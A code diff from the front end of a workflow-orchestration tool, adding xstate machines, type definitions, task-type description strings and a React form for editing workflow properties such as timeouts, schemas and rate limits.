ForceRefreshTaskEvent +>({ + crumbs: (_context, event) => event.crumbs, + originalTask: (context, event) => event.task ?? context.originalTask, + taskChanges: (context, event) => event.task ?? context.taskChanges, +}); + +export const maybePersistSelectedSwitchBranch = assign< + TaskFormMachineContext, + SelectEdgeEvent +>({ + maybeSelectedSwitchBranch: (context, { edge: { text } }) => text, +}); + +/* export const checkForErrors = sendParent( */ +/* ({ taskChanges }) => ({ */ +/* type: ErrorInspectorEventTypes.VALIDATE_SINGLE_TASK, */ +/* task: taskChanges, */ +/*}) */ +/* ); */ + +export const notifyChanges = sendParent( + ({ originalTask, crumbs, taskChanges }: TaskFormMachineContext) => ({ + type: REPLACE_TASK_EVT, + task: originalTask, + crumbs, + newTask: taskChanges, + }), +); + +export const notifyNameChange = send( + ({ originalTask }) => ({ + type: TaskStatsEventTypes.UPDATE_TASK_NAME, + name: originalTask?.name, + }), + { to: "taskStatsMachine" }, +); + +export const updateTaskHeaderMachine = pure( + ({ originalTask }, { taskChanges }) => { + if (taskChanges?.type !== originalTask?.type) { + return sendTo< + TaskFormMachineContext, + any, + ActorRef + >( + "taskFormHeader-fields", + ({ originalTask }, { taskChanges }) => { + return { + type: TaskFormHeaderEventTypes.VALUES_UPDATED, + name: taskChanges?.name || "", + taskReferenceName: taskChanges?.taskReferenceName || "", + taskType: + taskChanges?.type || originalTask?.type || TaskType.SIMPLE, + }; + }, + { delay: 50 }, + ); + } + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/guards.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/guards.ts new file mode 100644 index 0000000..2767d17 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/guards.ts @@ -0,0 +1,10 @@ +import fastDeepEqual from "fast-deep-equal"; +import { + TaskFormMachineContext, + UpdateTaskEvent, +} from "pages/definition/EditorPanel/TaskFormTab/state/types"; + +export const isTaskChanged = ( + context: TaskFormMachineContext, + event: UpdateTaskEvent, +) => !fastDeepEqual(context.taskChanges, event.taskChanges); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/index.ts new file mode 100644 index 0000000..f05e92a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/index.ts @@ -0,0 +1,3 @@ +export * from "./machine"; +export * from "./TaskFormContext"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/machine.ts new file mode 100644 index 0000000..8f4a669 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/machine.ts @@ -0,0 +1,80 @@ +import { createMachine } from "xstate"; +import { + FormMachineActionTypes, + TaskFormEvents, + TaskFormMachineContext, +} from "./types"; +import { FlowActionTypes } from "components/features/flow/state"; +import * as actions from "./actions"; +import * as guards from "./guards"; +import { taskStatsMachine } from "../TaskStats/state"; + +export const formMachine = createMachine< + TaskFormMachineContext, + TaskFormEvents +>( + { + id: "formMachine", + predictableActionArguments: true, + initial: "init", + context: { + originalTask: undefined, + crumbs: [], + tasksBranch: [], + workflowInputParameters: [], + taskHeaderActor: undefined, + maybeSelectedSwitchBranch: undefined, + authHeaders: undefined, + taskChanges: undefined, + }, + invoke: { + id: "taskStatsMachine", + src: taskStatsMachine, + data: { + completedRateSeries: [], + failedRateSeries: [], + completedAmount: 0, + failedAmount: 0, + startHoursBack: 24, + authHeaders: ({ authHeaders }: TaskFormMachineContext) => authHeaders, + taskName: ({ originalTask }: TaskFormMachineContext) => + originalTask?.name, + }, + }, + states: { + init: { + entry: ["spawnTaskHeaderMachineActor"], + always: "rendered", + }, + noTask: { + entry: "invalidTaskLeaveForm", + type: "final", + }, + rendered: { + on: { + [FormMachineActionTypes.UPDATE_TASK]: { + cond: "isTaskChanged", + actions: ["updateTask", "notifyChanges", "updateTaskHeaderMachine"], + }, + [FormMachineActionTypes.UPDATE_CRUMBS]: { + // Note it will use incoming task if task is SWITCH and has changes else it will ignore + actions: ["updateCrumbsAndOriginalTask"], + }, + [FormMachineActionTypes.FORCE_REFRESH_TASK]: { + actions: ["forceRefreshTask"], + }, + [FlowActionTypes.SELECT_EDGE_EVT]: { + actions: ["maybePersistSelectedSwitchBranch"], + }, + [FlowActionTypes.UPDATE_COLLAPSE_WORKFLOW_LIST]: { + actions: ["updateCollapseWorkflowList"], + }, + }, + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/types.ts new file mode 100644 index 0000000..7ae3eb3 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/types.ts @@ -0,0 +1,75 @@ +import { TaskDef, AuthHeaders, Crumb } from "types"; +import { TaskHeaderMachineEvents } from "pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/types"; +import { ActorRef } from "xstate"; +import { EdgeData } from "reaflow"; +import { FlowActionTypes } from "components/features/flow/state"; + +export enum FormMachineActionTypes { + UPDATE_TASK = "UPDATE_TASK", + CHECK_FOR_TASK_ERRORS = "CHECK_FOR_TASK_ERRORS", + + UPDATE_CRUMBS = "UPDATE_CRUMBS", + /** Like UPDATE_CRUMBS but always replaces taskChanges/originalTask regardless of task type (used by AI agent updates). */ + FORCE_REFRESH_TASK = "FORCE_REFRESH_TASK", + + UPDATE_COLLAPSE_WORKFLOW_LIST = "UPDATE_COLLAPSE_WORKFLOW_LIST", +} + +export type ErrorType = { + id: "Form Error"; + message: string; + path: string; + hint?: string; + type: "TASK"; +}; + +export type UpdateTaskEvent = { + type: FormMachineActionTypes.UPDATE_TASK; + taskChanges: Partial; +}; + +export type UpdateCollapseWorkflowListEvent = { + type: FormMachineActionTypes.UPDATE_COLLAPSE_WORKFLOW_LIST; + workflowName: string; +}; + +export type UpdateCrumbsEvent = { + type: FormMachineActionTypes.UPDATE_CRUMBS; + crumbs: Crumb[]; + task?: Partial; +}; + +export type ForceRefreshTaskEvent = { + type: FormMachineActionTypes.FORCE_REFRESH_TASK; + crumbs: Crumb[]; + task: Partial | undefined; +}; + +export type CheckForTaskErrorsEvent = { + type: FormMachineActionTypes.CHECK_FOR_TASK_ERRORS; +}; + +export type SelectEdgeEvent = { + type: FlowActionTypes.SELECT_EDGE_EVT; + edge: EdgeData; +}; + +export interface TaskFormMachineContext { + originalTask?: Partial; + taskChanges?: Partial; + tasksBranch: TaskDef[]; + crumbs: Crumb[]; + workflowInputParameters: string[]; + taskHeaderActor?: ActorRef; + maybeSelectedSwitchBranch?: string; + authHeaders?: AuthHeaders; + workflowName?: string; +} + +export type TaskFormEvents = + | UpdateTaskEvent + | CheckForTaskErrorsEvent + | SelectEdgeEvent + | UpdateCrumbsEvent + | ForceRefreshTaskEvent + | UpdateCollapseWorkflowListEvent; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/taskDescription.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/taskDescription.ts new file mode 100644 index 0000000..5ee0414 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/taskDescription.ts @@ -0,0 +1,108 @@ +import { FormTaskType } from "types/TaskType"; +import { TaskType } from "types/common"; + +type TaskDescriptions = Partial>; + +export const taskDescriptions: TaskDescriptions = { + // system + [TaskType.EVENT]: + "EVENT is a task used to publish an event into one of the supported eventing systems in Conductor.", + [TaskType.HTTP]: + "HTTP task allows you to make calls to remote services exposed over HTTP/HTTPS.", + [TaskType.HTTP_POLL]: + "The HTTP_POLL is a conductor task used to invoke HTTP API until the specified condition matches.", + [TaskType.JSON_JQ_TRANSFORM]: + "The JSON_JQ_TRANSFORM task is a System task that allows the processing of JSON data that is supplied to the task by using the popular JQ processing tool’s query expression language.", + [TaskType.INLINE]: + "The inline task helps execute necessary logic at the workflow run-time using an evaluator. The two supported evaluator types are javascript and graaljs.", + [TaskType.BUSINESS_RULE]: + "Business rule task helps evaluate business rules compiled in spreadsheets.", + [TaskType.SENDGRID]: "Send email using sendgrid", + [TaskType.START_WORKFLOW]: + "Start Workflow is an operator task used to start another workflow from an existing workflow. Unlike a sub-workflow task, a start workflow task doesn’t create a relationship between the current workflow and the newly started workflow. That means it doesn’t wait for the started workflow to get completed.", + [TaskType.WAIT_FOR_WEBHOOK]: + "Webhook is an HTTP-based callback function that facilitates the communication between the Conductor and other third-party systems. It can be used to receive data from other applications to the Conductor.", + [TaskType.UPDATE_SECRET]: + "A system task to update the value of any secret, given the user has permission to update the secret.", + [TaskType.QUERY_PROCESSOR]: + "A system task for executing queries across different systems, tailored for purposes like alert generation.", + [TaskType.UPDATE_TASK]: "A system task to update the status of other tasks.", + + // operator + + [TaskType.SWITCH]: + "The switch task is used for creating branching logic. It is a representation of multiple if...then...else or switch...case statements in programming.", + [TaskType.DO_WHILE]: + "The Do While task sequentially executes a list of tasks as long as a condition is true. The list of tasks is executed first before the condition is checked, even for the first iteration, just like a regular do .. while task in programming languages.", + [TaskType.FORK_JOIN_DYNAMIC]: + "A Fork/Join task can be used when you need to run tasks in parallel. It contains two components, the fork, and the join part. A fork operation lets you run a specified list of tasks in parallel. A fork task is followed by a join operation that waits on the forked tasks to finish. The JOIN task also collects outputs from each of the forked tasks.", + [TaskType.DYNAMIC]: + "The dynamic task allows us to execute one of the registered tasks dynamically at run-time. This means that you can run a task not fixed at the time of the workflow’s execution. The task name could even be supplied as part of the workflow’s input and be mapped to the dynamic task input.", + [TaskType.TERMINATE]: + "The Terminate task is a task that can terminate the current workflow with a termination status and reason.", + [TaskType.SET_VARIABLE]: + "Set Variable allows us to set the workflow variables by creating or updating them with new values. Think of these as a temporary state, which you can set in any step and refer back to any steps that execute after setting the value.", + [TaskType.SUB_WORKFLOW]: + "Sub Workflow allows executing another workflow from within the current workflow.", + [TaskType.JOIN]: + "A JOIN task is used in conjunction with a FORK_JOIN or FORK_JOIN_DYNAMIC task to join all the tasks within the forks.", + [TaskType.WAIT]: + "The Wait task is used when the workflow needs to be paused for an external signal to continue. It is used when the workflow needs to wait and pause for external signals, such as a human intervention (like manual approval) or an event coming from an external source, such as Kafka or SQS.", + [TaskType.TERMINATE_WORKFLOW]: + "The Terminate Workflow task is used to terminate other workflows using their workflow IDs.", + [TaskType.HUMAN]: + "Human tasks are used when you need to wait your workflow for an interaction with a human. When your workflow reaches the human task, it waits for a manual interaction to proceed with the workflow. It can be leveraged when you need manual approval from a human, such as when a form needs to be approved within an application, such as approval workflows.", + [TaskType.GET_WORKFLOW]: + "Get Workflow task is used to retrieve detail of workflow using workflow ID.", + + // worker + [TaskType.JDBC]: + "A JDBC task is a system task used to execute or store information in MySQL.", + [TaskType.SIMPLE]: + "A Simple task is a Worker task that requires an external worker for polling. The Workers can be implemented in any language, and Conductor SDKs provide additional features such as metrics, server communication, and polling threads that make the worker creation process easier.", + + // alerting + [TaskType.OPS_GENIE]: + "A system task to send alerts to Opsgenie in the event of workflow failures. This task can be used in conjunction with the Query Processor task, which fetches metadata details to trigger alerts to Opsgenie as required.", + + // ai/llm + + [TaskType.LLM_TEXT_COMPLETE]: + "A system task to predict or generate the next phrase or words in a given text based on the context provided.", + [TaskType.LLM_GENERATE_EMBEDDINGS]: + "A system task to generate embeddings from the input data provided. Embeddings are the processed input text converted into a sequence of vectors, which can then be stored in a vector database for retrieval later. You can use a model that was previously integrated to generate these embeddings.", + [TaskType.LLM_GET_EMBEDDINGS]: + "A system task to get the numerical vector representations of words, phrases, sentences, or documents that have been previously learned or generated by the model. Unlike the process of generating embeddings (LLM Generate Embeddings task), which involves creating vector representations from input data, this task deals with the retrieval of pre-existing embeddings and uses them to search for data in vector databases.", + [TaskType.LLM_STORE_EMBEDDINGS]: + "A system task responsible for storing the generated embeddings produced by the LLM Generate Embeddings task, into a vector database. The stored embeddings serve as a repository of information that can be later accessed by the LLM Get Embeddings task for efficient and quick retrieval of related data.", + [TaskType.LLM_SEARCH_INDEX]: + "A system task to search the vector database or repository of vector embeddings of already processed and indexed documents to get the closest match. You can input a query that typically refers to a question, statement, or request made in natural language that is used to search, retrieve, or manipulate data stored in a database.", + [TaskType.LLM_INDEX_DOCUMENT]: + "A system task to index the provided document into a vector database that can be efficiently searched, retrieved, and processed later.", + [TaskType.GET_DOCUMENT]: + "A system task to retrieve the content of the document provided and use it for further data processing using AI tasks.", + [TaskType.LLM_INDEX_TEXT]: + "A system task to index the provided text into a vector space that can be efficiently searched, retrieved, and processed later.", + [TaskType.LLM_CHAT_COMPLETE]: + "A system task to complete the chat query. It can be used to instruct the model's behavior accurately to prevent any deviation from the objective.", + [TaskType.AGENT]: + "Calls a remote A2A (Agent2Agent) agent and works the resulting task to completion. Supports poll, streaming (SSE), and push modes with durable retry and resumption.", + [TaskType.GET_AGENT_CARD]: + "Fetches a remote A2A agent's Agent Card to discover its skills and capabilities at runtime.", + [TaskType.CANCEL_AGENT]: + "Cancels a running task on a remote A2A agent (A2A tasks/cancel).", + [TaskType.LLM_SEARCH_EMBEDDINGS]: + "Searches a vector database for the closest matches using a set of pre-computed embeddings, rather than generating embeddings from a query string.", + [TaskType.LIST_MCP_TOOLS]: + "Lists the tools advertised by a Model Context Protocol (MCP) server so they can be used by agents and downstream tasks.", + [TaskType.CALL_MCP_TOOL]: + "Invokes a named tool on a Model Context Protocol (MCP) server with the provided arguments and returns its result.", + [TaskType.GENERATE_IMAGE]: + "Generates one or more images from a text prompt using an integrated LLM image-generation model.", + [TaskType.GENERATE_AUDIO]: + "Synthesizes speech or audio from text using an integrated LLM audio model.", + [TaskType.GENERATE_VIDEO]: + "Generates video from a text prompt or input image using an integrated LLM video model. Runs asynchronously, polling for completion.", + [TaskType.GENERATE_PDF]: + "Converts markdown content into a styled PDF document with configurable page size, margins, and theme.", +}; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/ActorToHandlerValue.tsx b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/ActorToHandlerValue.tsx new file mode 100644 index 0000000..4cbb0d3 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/ActorToHandlerValue.tsx @@ -0,0 +1,34 @@ +import { useSelector } from "@xstate/react"; +import { ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { + MetadataFieldMachineEventTypes, + MetdataFieldMachineEvents, +} from "./state"; + +interface ChildrenProps { + onChange: (value: any) => void; + value: any; + someKey: string; +} + +export interface ActorToHandlerValueProps { + children: (props: ChildrenProps) => ReactNode; + actor: ActorRef; +} + +export const ActorToHandlerValue = ({ + actor, + children, +}: ActorToHandlerValueProps) => { + const send = actor.send; + const value = useSelector(actor, (state) => state.context.value); + const someKey = useSelector(actor, (state) => state.context.someKey); + const handleValueChange = (value: any) => { + send({ + type: MetadataFieldMachineEventTypes.CHANGE_VALUE, + value, + }); + }; + return children({ onChange: handleValueChange, value, someKey }); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/WorkflowPropertiesForm.tsx b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/WorkflowPropertiesForm.tsx new file mode 100644 index 0000000..e69480a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/WorkflowPropertiesForm.tsx @@ -0,0 +1,530 @@ +import { + Box, + FormControlLabel, + Grid, + Paper, + Stack, + Switch, + Tab, + Tabs, +} from "@mui/material"; +import { PanelAccordion } from "components/ui/PanelAccordion"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorStringArrayFormField } from "components/ui/inputs/ConductorStringArrayFormField"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _clone from "lodash/clone"; +import { pluginRegistry } from "plugins/registry"; +import { + WorkflowMetadataEvents, + WorkflowMetadataProvider, +} from "pages/definition/WorkflowMetadata/state"; +import { FunctionComponent, useCallback, useState } from "react"; +import { MetadataBanner } from "shared/createAndDisplayApplication/MetadataBanner"; +import { borders, colors } from "theme/tokens/variables"; +import { printableUpdatedTime } from "utils"; +import { useEventNameSuggestions } from "utils/hooks"; +import { useLazyWorkflowNameAutoComplete } from "utils/useLazyWorkflowNameAutoComplete"; +import { ActorRef } from "xstate"; +import RateLimitConfigForm from "../TaskFormTab/forms/RateLimitConfigForm"; +import { SchemaForm } from "../TaskFormTab/forms/SchemaForm"; +import TaskFormSection from "../TaskFormTab/forms/TaskFormSection"; +import { ActorToHandlerValue } from "./ActorToHandlerValue"; +import { useWorkflowMetadata, useWorkflowMetadataEditorActor } from "./state"; + +// import { FEATURES, featureFlags } from "utils"; + +// const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); +const ownerChipStyle = { + padding: "2px 10px", + background: colors.roleReadOnly, + borderRadius: "100px", + fontSize: "12px", + color: colors.sidebarBlacky, + fontWeight: 500, +}; + +export interface WorkflowPropertiesFormProps { + workflowMetadataActor: ActorRef; +} +const minWidthTimeout = "170px"; +const timeoutPolicies = [ + { + label: "Timeout Workflow", + value: "TIME_OUT_WF", + }, + { + label: "Alert Only", + value: "ALERT_ONLY", + }, +]; +const getTimeoutPolicyLabel = (option: any) => { + const item = timeoutPolicies.find((x) => x.value === option); + return item ? item.label : ""; +}; + +export const WorkflowPropertiesForm: FunctionComponent< + WorkflowPropertiesFormProps +> = ({ workflowMetadataActor }) => { + const [ + { + // DEPRECATED. DONT USE THIS HOOK ANYMORE, USE THE ONE BELOW + // This was from an old version the spawning of the actors made sense back then given the posistion of the title and other attributes + // This changed the metadata is a tab now. + inputParametersActor, + outputParametersActors, + restartableActors, + timeoutSecondsActors, + timeoutPolicyActors, + failureWorkflowActors, + isReady, + nameFieldActor, + descriptionFieldActor, + workflowStatusListenerEnabledActor, + workflowStatusListenerSinkActor, + rateLimitConfigActor, + }, + ] = useWorkflowMetadataEditorActor(workflowMetadataActor); + + const [ + { + currentWorkflowName, + ownerEmail, + wUpdateTime, + workflowStatusListenerEnabled, + fastAppCreation, + installScriptMetadata, + readmeMetadata, + inputSchema, + outputSchema, + enforceSchema, + }, + { removeMetadataAttribs, updateSchemaForm }, + ] = useWorkflowMetadata(workflowMetadataActor); + + const updatedTime: string = printableUpdatedTime(wUpdateTime); + + const filterCurrentWorkflowOut = useCallback( + (x: string) => x !== currentWorkflowName, + [currentWorkflowName], + ); + + const [fetch, wfNameOptions] = useLazyWorkflowNameAutoComplete( + filterCurrentWorkflowOut, + ); + + const workflowListenerSinkSuggestions = useEventNameSuggestions(); + + const [activeTab, setActiveTab] = useState(0); + + const createAndDisplayAppActor = + workflowMetadataActor.getSnapshot().children[ + "createAndDisplayApplicationMachine" + ]; + return ( + + + {isReady && ( + + + + + + + + + {`Last updated ${updatedTime}`} + {ownerEmail} + + + + + {fastAppCreation && + createAndDisplayAppActor && + (() => { + const GeneratedKeyDialog = + pluginRegistry.getGeneratedKeyDialog(); + // Only show MetadataBanner if the GeneratedKeyDialog is available (enterprise) + if (!GeneratedKeyDialog) return null; + return ( + removeMetadataAttribs()} + installScript={installScriptMetadata} + KeysDisplayerComponent={({ onClose, accessKeys }) => ( + {}} + /> + )} + /> + ); + })()} + + + + + .MuiAccordion-root:not(:first-of-type)": { + borderTop: "1px solid #ddd", + }, + "& > .MuiAccordion-root:first-of-type, & > .MuiAccordion-root:first-of-type:hover": + { + borderTopLeftRadius: borders.radiusSmall, + borderTopRightRadius: borders.radiusSmall, + }, + "& > .MuiAccordion-root:first-of-type .MuiAccordionSummary-root, & > .MuiAccordion-root:first-of-type:hover .MuiAccordionSummary-root": + { + borderTopLeftRadius: borders.radiusSmall, + borderTopRightRadius: borders.radiusSmall, + }, + "& > .MuiAccordion-root:last-of-type, & > .MuiAccordion-root:last-of-type:hover": + { + borderBottomLeftRadius: borders.radiusSmall, + borderBottomRightRadius: borders.radiusSmall, + }, + "& > .MuiAccordion-root:last-of-type .MuiAccordionSummary-root, & > .MuiAccordion-root:last-of-type:hover .MuiAccordionSummary-root": + { + borderBottomLeftRadius: borders.radiusSmall, + borderBottomRightRadius: borders.radiusSmall, + }, + }} + > + + + + + + {({ onChange, value: name }) => ( + onChange(value)} + helperText="Workflow name must be unique." + fullWidth + id="workflow-name-field" + /> + )} + + + + + {({ onChange, value: description }) => ( + onChange(value)} + fullWidth + required + multiline={true} + rows={3} + error={!description} + autoFocus + placeholder="Enter description" + /> + )} + + + + + + + + setActiveTab(newValue)} + aria-label="schema and parameters tabs" + > + + + + + {activeTab === 0 && ( + <> + + + {({ onChange, value: inputParameters, someKey }) => ( + + )} + + + + + {({ onChange, value: outputParameters, someKey }) => ( + + } //Patch this aint A FIX you can put json as an output param + keyColumnLabel="Parameter" + valueColumnLabel="Value" + addItemLabel="Add parameter" + onChange={onChange} + someKey={someKey} + emptyListMessage="These values serve as an indicator of what outputs this workflow will produce." + compact + /> + )} + + + + )} + {activeTab === 1 && ( + { + updateSchemaForm( + value?.inputSchema, + value?.outputSchema, + value?.enforceSchema, + ); + }} + /> + )} + + + + + + + + {({ + onChange, + value: workflowStatusListenerEnabledValue, + }) => ( + + onChange(checked) + } + /> + } + label="Enable workflow status listener" + /> + )} + + + {workflowStatusListenerEnabled && ( + + + {({ onChange, value: workflowListenerSink }) => ( + + )} + + + {/* description */} + + + )} + + + + + + + + {({ onChange, value: timeoutSeconds }) => ( + -1 ? timeoutSeconds : ""} + onTextInputChange={(timeout) => + onChange(parseInt(timeout)) + } + /> + )} + + + + + {({ onChange, value: timeoutPolicy }) => ( + { + onChange(val); + }} + getOptionLabel={(option) => + getTimeoutPolicyLabel(option) + } + renderOption={(props, option) => ( +
    3. + {getTimeoutPolicyLabel(option)} +
      4. + )} + options={timeoutPolicies.map((x) => x.value)} + autoComplete + includeInputInList + label="Timeout policy" + /> + )} +       +       +       +       + + + + + {({ onChange, value: restartable }) => ( + + onChange(checked) + } + /> + } + label="Allow workflow restarts" + /> + )} + + + When enabled, completed workflows can be restarted. + Disable this option if restarting a workflow could + cause side effects. + + + + + + + + + {({ onChange, value: failureWorkflow }) => ( + + )} + + + If present, this workflow will be triggered upon a + failure of the execution of this workflow. + + + + + + + + + {({ onChange, value: rateLimitConfig }) => ( + + )} + + + +       +       +       +       + )} +       +       + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/index.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/index.ts new file mode 100644 index 0000000..3fe72e2 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/index.ts @@ -0,0 +1 @@ +export * from "./WorkflowPropertiesForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/actions.ts new file mode 100644 index 0000000..91980ef --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/actions.ts @@ -0,0 +1,25 @@ +import { assign, sendParent } from "xstate"; +import { cancel } from "xstate/lib/actions"; +import { MetadataFieldMachineContext, ChangeValueEvent } from "./types"; +import { WorkflowMetadataMachineEventTypes } from "pages/definition/WorkflowMetadata/state/types"; + +export const persistChanges = assign< + MetadataFieldMachineContext, + ChangeValueEvent +>({ + value: (_context, { value }) => value, +}); + +export const addSomeKey = assign({ + someKey: (_context) => Math.random().toString(36).substring(2, 7), // hack for json components. to re-render on external value change +}); + +export const debounceSyncWithParent = sendParent( + (context: MetadataFieldMachineContext, { value }: ChangeValueEvent) => ({ + type: WorkflowMetadataMachineEventTypes.UPDATE_METADATA, + metadataChanges: { [context.fieldName]: value }, + }), + /* { delay: 500, id: "sync_val_with_parent" } */ +); + +export const cancelSyncWithParent = cancel("sync_val_with_parent"); diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/hook.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/hook.ts new file mode 100644 index 0000000..4c4dbda --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/hook.ts @@ -0,0 +1,145 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { + WorkflowMetadataEvents, + WorkflowMetadataMachineEventTypes, +} from "pages/definition/WorkflowMetadata/state"; +import { SchemaFormValue } from "../../TaskFormTab/forms/SchemaForm"; + +export const useWorkflowMetadataEditorActor = ( + metadataEditorActor: ActorRef, +) => { + const [ + inputParametersActor, + outputParametersActors, + restartableActors, + timeoutSecondsActors, + timeoutPolicyActors, + failureWorkflowActors, + nameFieldActor, + descriptionFieldActor, + inputSchemaFieldActor, + outputSchemaFieldActor, + enforceSchemaFieldActor, + workflowStatusListenerEnabledActor, + workflowStatusListenerSinkActor, + rateLimitConfigActor, + ] = useSelector( + metadataEditorActor, + (state) => state.context.editableFieldActors, + ); + + const isReady = useSelector(metadataEditorActor, (state) => + state.hasTag("editingEnabled"), + ); + + return [ + { + inputParametersActor, + outputParametersActors, + restartableActors, + timeoutSecondsActors, + timeoutPolicyActors, + failureWorkflowActors, + isReady, + nameFieldActor, + descriptionFieldActor, + inputSchemaFieldActor, + outputSchemaFieldActor, + enforceSchemaFieldActor, + workflowStatusListenerEnabledActor, + workflowStatusListenerSinkActor, + rateLimitConfigActor, + }, + ]; +}; + +export const useWorkflowMetadata = ( + metadataEditorActor: ActorRef, +) => { + const wUpdateTime = useSelector( + metadataEditorActor, + (state) => state.context?.metadataChanges?.updateTime, + ); + const ownerEmail = useSelector( + metadataEditorActor, + (state) => state.context?.metadataChanges?.ownerEmail, + ); + const currentWorkflowName = useSelector( + metadataEditorActor, + (state) => state.context.metadata.name, + ); + + const workflowStatusListenerEnabled = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges.workflowStatusListenerEnabled, + ); + + const fastAppCreation = useSelector(metadataEditorActor, (state) => + state.hasTag("fastAppCreation"), + ); + + const installScriptMetadata = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.metadata?.installScript, + ); + const readmeMetadata = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.metadata?.readme, + ); + + const inputSchema = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.inputSchema, + ); + const outputSchema = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.outputSchema, + ); + const enforceSchema = useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.enforceSchema, + ); + + const removeMetadataAttribs = () => { + metadataEditorActor.send({ + type: WorkflowMetadataMachineEventTypes.UPDATE_METADATA, + metadataChanges: { + metadata: {}, + }, + }); + }; + const updateSchemaForm = ( + inputSchema?: SchemaFormValue, + outputSchema?: SchemaFormValue, + enforceSchema?: boolean, + ) => { + metadataEditorActor.send({ + type: WorkflowMetadataMachineEventTypes.UPDATE_METADATA, + metadataChanges: { + inputSchema: inputSchema as unknown as Record, + outputSchema: outputSchema as unknown as Record, + enforceSchema: enforceSchema as unknown as boolean, + }, + }); + }; + + return [ + { + wUpdateTime, + ownerEmail, + currentWorkflowName, + workflowStatusListenerEnabled, + fastAppCreation, + installScriptMetadata, + readmeMetadata, + inputSchema, + outputSchema, + enforceSchema, + }, + { + removeMetadataAttribs, + updateSchemaForm, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/index.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/index.ts new file mode 100644 index 0000000..4ef7990 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/index.ts @@ -0,0 +1,3 @@ +export * from "./types"; +export * from "./machine"; +export * from "./hook"; diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/machine.ts new file mode 100644 index 0000000..a315aa3 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/machine.ts @@ -0,0 +1,40 @@ +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import { + MetadataFieldMachineContext, + MetadataFieldMachineEventTypes, + MetdataFieldMachineEvents, +} from "./types"; + +export const metadataFieldMachine = createMachine< + MetadataFieldMachineContext, + MetdataFieldMachineEvents +>( + { + id: "workflowMetadataField", + initial: "focused", + predictableActionArguments: true, + context: { + value: "", + fieldName: "", + someKey: "", + }, + on: { + [MetadataFieldMachineEventTypes.VALUE_UPDATED]: { + actions: ["persistChanges", "addSomeKey"], + }, + }, + states: { + focused: { + on: { + [MetadataFieldMachineEventTypes.CHANGE_VALUE]: { + actions: ["persistChanges", "debounceSyncWithParent"], + }, + }, + }, + }, + }, + { + actions: actions as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/types.ts b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/types.ts new file mode 100644 index 0000000..d420717 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/types.ts @@ -0,0 +1,28 @@ +export interface MetadataFieldMachineContext { + value: string; + fieldName: string; + someKey?: string; +} + +export enum MetadataFieldMachineEventTypes { + // TOGGLE_EDITING = "TOGGLE_EDITING", + CHANGE_VALUE = "CHANGE_VALUE", + VALUE_UPDATED = "VALUE_UPDATED", + // DISABLE_EDITING = "DISABLE_EDITING", +} 